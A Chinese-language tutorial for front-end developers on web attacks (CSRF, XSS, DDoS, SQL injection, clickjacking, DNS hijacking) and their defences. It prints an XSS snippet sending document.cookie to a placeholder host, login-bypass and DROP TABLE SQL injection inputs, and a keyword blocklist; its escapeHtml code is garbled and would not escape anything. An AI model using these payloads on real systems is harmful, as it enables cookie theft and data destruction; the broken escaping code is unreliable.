现代WEB应用变得愈来愈复杂,知足了用户的各类需求,可是随之而来的就是各类网络安全的问题。做为前端工程师的咱们也逃不开这个问题。安全问题存在于何处,如何防范,这将是本篇文章要介绍的主要内容。javascript
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,经过假装成受信任用户的请求来恶意利用受信任的网站。CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack)html
狭义的csrf是指将代码植入到受害用户的浏览器访问页面的前提下,用受害人的身份向服务器发起一个伪造的http请求,从而实现服务器CURD来执行相关操做。前端
广义的csrf是指黑客能够经过本身写一个脚本伪造出一个和真实的http请求如出一辙的数据包发送给你的服务器,前提是你这个http接口中的全部参数都是能够预期的。java
下文都是创建狭义的CSRF上的ios
经过以上步骤,网站B就经过盗用保存在客户端的cookie,以客户端的身份来访问网站A,以客户端身份进行一些非法操做。web
1. 设置referer断定ajax
经过请求头中的referer字段判断请求的来源,可是这种方法并不保险,具备必定危险性,由于referer有可能被伪造。sql
2. 设置token数据库
在浏览器访问网站A时,网站A设置cookie会增长随机值csrf_token(也就是token)。express
对cookie不是太了解的同窗请注意:CSRF是网站B经过盗用保存在客户端的cookie,以客户端的身份来非法访问网站A。而虽然token也是由后端放在cookie中的,可是须要前端在发送请求的时候来说这个token发给后端检验,从而达到防护的目的。
Token就是令牌,最大的特色就是随机性,不可预测。
返回给浏览器时,cookie会储存在浏览器。而后前端提交表单或者非表单请求的时候,就将这个token获取到而后发送给后端,后端判断请求中的token和cookie中的token是否一致来判断是否为正常请求,若是请求中没有 token 或者 token 内容不正确,则认为多是 CSRF 攻击而拒绝该请求。
为何放在cookie以后,别的网站获取不到cookie里面的token而本身的网站能够获取token中的cookie呢?
由于cookie采起同源策略,只有相同域名的网页才能获取域名对应的cookie。
表单请求
<form method="post">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<label>帐户:</label><input type="text" name="to_account" placeholder="请输入对方帐户"><br/>
<label>金额:</label><input type="number" name="money" placeholder="请输入转帐金额"><br/>
<input type="submit" value="转帐">
</form>
复制代码
非表单请求: 在ajax获取数据时,添加 headers:{ 'X-CSRFToken':getCookie('csrf_token') }
import axios from 'axios'
axios.post('/user', {
name: 'Lumiere'
}, {
headers:{
'X-CSRFToken':getCookie('csrf_token')
}
})
.then(function (response) {
console.log(response)
})
.catch(function (error) {
console.log(error)
})
复制代码
但token也非绝对安全,由于就算token藏的再隐蔽,可是这一切都会暴露在前端,因此黑客可根据网站前端代码进行分析,而后写一套脚本自动化抓取token,而后对服务端接口实施攻击。
3. 验证码
验证码是一种很是强大的防范CSRF的方式,例如各类图形验证码(12306的高难度图形验证),能够达到有效的防护功能。
可是不可能全部接口都是用验证码,这样用户体验会不好,因此 比较好的方式是尽可能减小图形验证码的使用,对于一些操做不敏感的接口使用token+referrer来防护。
...
可是图形也不是绝对安全,由于目前图像识别已经很先进,简单的仍是能够破解的...可是为了安全,仍是须要进行各类防护的设置。
跨站脚本攻击(Cross Site Scripting),为了避免和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码(条件一),当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行(条件二),从而达到恶意攻击用户的目的。
经过一切可能的手段将能够执行的脚本植入到页面的代码中,从而对用户进行攻击。 即实质上就是把代码植入到对方的系统中去,因为xss漏洞是对web客户端的攻击,因此说植入的代码基本上是以JavaScript和html标签为主。
当网页中被注入的可执行代码成功地被浏览器执行时,它能够获取用户联系人信息表,而后向受害者发送虚假诈骗信息,能够删除用户的日志等等,有时候还和其余攻击方式同时实 施好比SQL注入攻击服务器和数据库、Click劫持、相对连接劫持等。
除此以外,xss配合csrf和sql注入等漏洞,能够在短期内对一个服务器发起攻击,而且服务器端没法将ip封死,由于ip是成百上千的xss受害者的ip。
举个例子:
// 用户点击后执行如下代码,致使cookie被发送到黑客的服务器上
const i = document.createElement("img")
document.body.appendChild(i)
i.src = "http://www.xxx.com/?c=" + document.cookie
复制代码
须要注意的是,随着现代前端技术的发展与应用,许多单页应用的html在客户端经过JavaScript进行生成,而不是经过服务端返回。因此说XSS漏洞不只可能出如今服务端,客户端也可能会存在与服务端没有关系的XSS漏洞。
在 HTML 中内嵌的文本中,恶意内容以 script 标签造成注入。
在内联的 JavaScript 中,拼接的数据突破了本来的限制(字符串,变量,方法名等)。
在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其余属性或者标签。
在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
在 onload、onerror、onclick 等事件中,注入不受控制代码。
在 style 属性和标签中,包含相似 background-image:url("javascript:…"); 的代码(新版本浏览器已经能够防范)。
在 style 属性和标签中,包含相似 expression(…) 的 CSS 表达式代码(新版本浏览器已经能够防范)。
根据XSS 攻击有两大要素:攻击者提交恶意代码 和 浏览器执行恶意代码,防范有如下思路:
// 对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容
// 进行字符校验、转义以及过滤
// 字符过滤
function escapeHtml(string) {
return string
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/')
}
// html实体转义
function htmlEncode(html) {
var sub = document.createElement('div')
sub.textContent != null ? sub.textContent = html : sub.innerText = html
var output = sub.innerHTML
sub = null
return output
}
// html实体反转义(解析)
function htmlDecode(text) {
var sub = document.createElement('div')
sub.innerHTML = text
var output = sub.textContent || sub.innerText
sub = null
return output
}
复制代码
可是这也会存在一个问题:用户的输入内容,例如是1 < 2,这个内容须要同时在前端展现而且提供给客户端,而一旦通过了escapeHTML(),客户端显示的内容就变成了乱码( 1 < 2 )
因此,输入侧过滤可以在某些状况下解决特定的 XSS 问题,但会引入很大的不肯定性和乱码问题。可是对于明确的输入类型,例如数字、URL、电话号码、邮件地址等内容,进行输入过滤仍是颇有必要的。
CSP以白名单的机制对网站加载或执行的资源起做用。在网页中,这样的策略经过 HTTP 头信息或者 meta 元素定义。禁止加载外域代码或者不信任的源下载资源,防止复杂的攻击逻辑。
也就是说,即便攻击者成功在网站中注入了恶意代码,CSP 能够防止其被执行
禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也没法窃取此 Cookie。
分布式拒绝服务攻击(Distributed Denial of Service)是指处于不一样位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不一样位置的多台机器并利用这些机器对受害者同时实施攻击。因为攻击的发出点是分布在不一样地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者能够有多个。
经过在短期内不一样位置向攻击目标发起大量请求,耗尽服务器的资源,使目标服务器没法响应正常的访问,形成网站服务中断。
为了不受到攻击后生产服务器马上下线而且没有解决办法,最好平时对网站作好备份,或者构建一些临时网站以备不时之需。
经过一些防火墙或者web服务器的设置将恶意ip地址发来的请求进行拦截。可是拦截恶意http请求必须知道恶意请求的特征,一些高级的DDoS攻击可能会将请求模拟得和正常请求一致,致使这种DDoS很难进行防护。
经过云服务商的一些防御产品进行防护,云服务商利用他们大量的冗余带宽来消化DDoS攻击,就是将过量的请求所有进行处理。
CDN 指的是网站的静态内容分发到多个服务器,用户就近访问,提升速度。所以,CDN 也是带宽扩容的一种方法,能够用来防护 DDOS 攻击。
SQL注入,就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
举个例子来进行说明
有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登陆按钮的时候,会对输入的用户名和密码进行验证。验证的SQL语句以下:
select * from user where username='输入的用户名' and password='输入的密码'
复制代码
若是用户在用户名文本框中输入 ' or '1' = '1' or '1' = '1,则验证的SQL语句变成:
select * from user where username='' or '1' = '1' or '1' = '1' and password=''
复制代码
或者在密码框中输入 1' or '1' = '1,验证SQL语句变成:
select * from user where username='' and password='1' or '1'='1'
复制代码
经过简单观察就能够发现这两条SQL语句的验证永远都是有效的。
或者更为破坏性的,在用户名文本框中输入:tom' ; drop table user,这时SQL变为:
select * from student where username='tom' ; drop table user' and password='' 复制代码
这样就变成的两条SQL语句,执行完查询操做,接着直接把student表给删除了。对网站具备很强的破坏性。
经过以上例子,能够知道SQL注入能够实现的功能包括但不限于删除数据 (经济损失), 篡改数据 (密码等), 窃取数据 (网站管理权限, 用户数据) 等。
// txtName.Attributes.Add('onblur', 'AntiSqlValid(this)');//防止Sql脚本注入
function AntiSqlValid ( oField ) {
re = /select|update|delete|exec|count|'|"|=|;|>|<|%/i
if ( re.test(oField.value) ) {
//alert("请您不要在参数中输入特殊字符和SQL关键字!") //注意中文乱码
oField.value = ''
oField.className = 'xxx'
oField.focus()
return false
}
}
复制代码
注意:前端验证只能起到必定的做用,后台也须要进行SQL验证,好比利用一些SQL预编译工具,在执行阶段只是把输入串做为数据处理,而再也不对sql语句进行解析,所以也就避免了sql注入问题。
点击劫持,clickjacking,也被称为UI-覆盖攻击。它是经过覆盖不可见的框架误导受害者点击。
受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另外一个置于原网页上面的透明页面。点击劫持是一种视觉上的欺骗手段。有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,而后诱使用户在该页面上进行操做,此时用户将在不知情的状况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义。
使用HTTP头——X-Frame-Options (要注意浏览器支持)进行攻击防护。这个http头有三个可选值:
域名劫持经过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的地址从而实现用户没法访问目标网站的目的。
域名劫持一方面可能影响用户的上网体验,用户被引到假冒的网站进而没法正常浏览网页,而用户量较大的网站域名被劫持后恶劣影响会不断扩大;另外一方面用户可能被诱骗到冒牌网站进行登陆等操做致使泄露隐私数据。
虽然Web安全不只仅是前端领域的责任,网络,后端,硬件等全部相关的环节都有责任。但做为前端开发人员,web安全意识是必备的技能。以上内容仅是web安全领域中的一小部分,若是须要深刻了解,仍是须要进行专门的学习的。祝愿各位开发者的网站变得更安全。